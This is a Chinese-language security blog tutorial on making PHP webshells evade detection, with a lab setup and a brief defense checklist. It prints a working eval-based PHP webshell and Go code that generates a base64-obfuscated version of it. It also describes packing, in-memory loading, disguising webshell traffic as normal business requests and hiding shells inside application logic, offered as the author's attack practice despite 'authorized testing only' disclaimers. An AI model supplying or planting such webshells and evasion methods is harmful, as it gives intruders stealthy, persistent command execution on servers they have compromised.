0x01 Webshell的潜行之道
Webshell是攻击者用来在被入侵的Web服务器上维持访问的一种常见工具。作为一个强大的基础设施组件,大多数Web服务器都支持多种脚本语言,如PHP、ASP、JSP等,攻防双方围绕这些Webshell展开了激烈博弈。本文将从如何以免杀方式构造Webshell入手,结合实际工具与技术分享攻击者如何实现流量规避和免杀效果,仅限授权安全测试使用,供安全研究人员学习。
Webshell并不是新生事物,但随着检测技术的进步,免杀Webshell成为必然趋势。通过在基础Webshell上附带混淆、加密,以及动态加载技术,可以提升Webshell的隐蔽性和存活时间。
0x02 实战环境搭建
要进行Webshell免杀技术的实战,首先需要搭建一个可供测试的环境。我们选择使用几个流行的开源工具来搭建这一环境,包括:
系统选型
- 目标主机:一台运行常见Web服务(Apache/Nginx)的Linux服务器,带有PHP支持。建议选择Ubuntu或CentOS。
- 攻击主机:一台用于开发和发送Webshell的Linux或者Windows机器,安装有Go语言环境。
环境准备
- Web服务器配置:在目标主机上安装Apache2和PHP(以Ubuntu为例)。
<pre><code class="language-shell"> sudo apt update && sudo apt install apache2 php libapache2-mod-php `
- 文件管理权限:确保Web目录(如
/var/www/html)具有写权限,以便后续上传Webshell。
- 网络配置:确保目标主机和攻击主机之间能够进行正常的网络通讯,最好在虚拟机网络中完成,以确保安全。
0x03 Payload构造的艺术
在Webshell的构造和免杀技巧中,有效的Payload是重中之重。我们将使用Go语言生成一个基础的PHP Webshell,并通过混淆技术来提升其免杀能力。
基本Webshell代码
这是一个简单的PHP Webshell代码示例: </code></pre>php <?php @eval($_POST['cmd']); ?> <pre><code> 这个Webshell仅仅是通过POST请求来执行命令,简单有效,但容易被检测。
使用Go语言混淆

我们可以通过Go语言来生成混淆后的代码,使其更难被检测到。 </code></pre>go package main
import ( "fmt" "encoding/base64" )

func main() { // 这是基础的Webshell代码 shellCode := "<?php @eval(base64_decode($_POST['cmd'])); ?>"
// 对代码进行Base64编码 encoded := base64.StdEncoding.EncodeToString([]byte(shellCode))
// 输出混淆后的代码 fmt.Printf("<?php eval(base64_decode('%s')); ?>\n", encoded) } `
这段Go代码首先将我们的PHP代码进行Base64编码,然后生成一个新的PHP Webshell代码,使用base64_decode进行解码。这样一来,Webshell初始状态是无法直接识别的。
0x04 绕过与对抗实战

为了实现Webshell的免杀效果,需进一步采用深度混淆和动态加载技术。
加壳与内存加载
在文件上传后可采用以下策略来避免检测:
- 加壳技术:使用加壳工具对Webshell进行加壳处理,利用加壳技术将Webshell内容进行压缩和隐藏。
- 内存加载技术:涉及通过动态加载将Webshell的代码直接加载到内存中执行,避免在磁盘上留下可疑痕迹。
流量伪装
通过以下手段实现流量伪装:
- 使用HTTPS:加密传输内容,阻碍流量分析。
- 伪装请求:将Webshell的通信伪装成正常的业务流量,混迹于常规HTTP请求中。
0x05 狡兔三窟的检测与防御
即使Webshell经过混淆与加壳,仍然可能被检测到,因此防御手段同样重要:
防御建议
- 启用WAF:Web应用防火墙能够检测和阻断异常请求。
- 定期文件审计:对Web目录内的文件进行定期审计,寻找可疑内容。
- 流量分析:通过IDS/IPS进行网络流量分析,识别异常流量模式。

0x06 个人经验分享
掩体与障眼法
在我的攻击经历中,成功的Webshell往往不仅仅依赖技术,还依赖于障眼法。将Webshell隐匿于正常的业务逻辑中,利用业务复杂性掩盖攻击行为,是一种有效的策略。
持续学习与研判
Webshell技术在不断演进,攻击者与防御者之间的对抗永无止境。作为研究人员,应不断学习最新的攻击与防御技术,保持敏锐的洞察力。
以上内容仅供授权测试使用,请勿用于非法目的。通过模拟真实环境,进行合法的安全测试和防御评估,是提升安全能力的重要途径。